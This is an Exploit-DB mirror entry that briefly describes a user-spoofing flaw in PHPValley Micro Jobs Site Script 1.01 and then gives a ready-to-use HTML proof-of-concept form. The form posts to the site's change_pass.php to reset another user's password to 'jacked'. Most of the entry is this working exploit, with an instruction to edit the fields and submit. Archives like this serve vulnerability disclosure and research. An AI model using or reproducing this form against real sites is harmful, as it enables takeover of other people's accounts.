exploit-db-mirror/exploits/php/webapps/38499.html
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

17 lines
No EOL
800 B
HTML

source: http://www.securityfocus.com/bid/59536/info
PHPValley Micro Jobs Site Script is prone to a vulnerability that allows attackers to spoof another user.
Attackers can exploit this issue to spoof another user; other attacks are also possible.
PHPValley Micro Jobs Site Script 1.01 is vulnerable; other versions may also be affected.
<!-- be logged into your own account, edit info below: -->
<form method="post" action="http://webfiver.com/change_pass.php">
<input name="changepass" type="hidden" value="Update" />
Target Username: <input name="auser" type="text" />
Your Password: <input name="cpass" type="password" />
<input name="npass" type="hidden" value="jacked" />
<input name="npassc" type="hidden" value="jacked" />
<input type="submit" value="Jack" />
</form>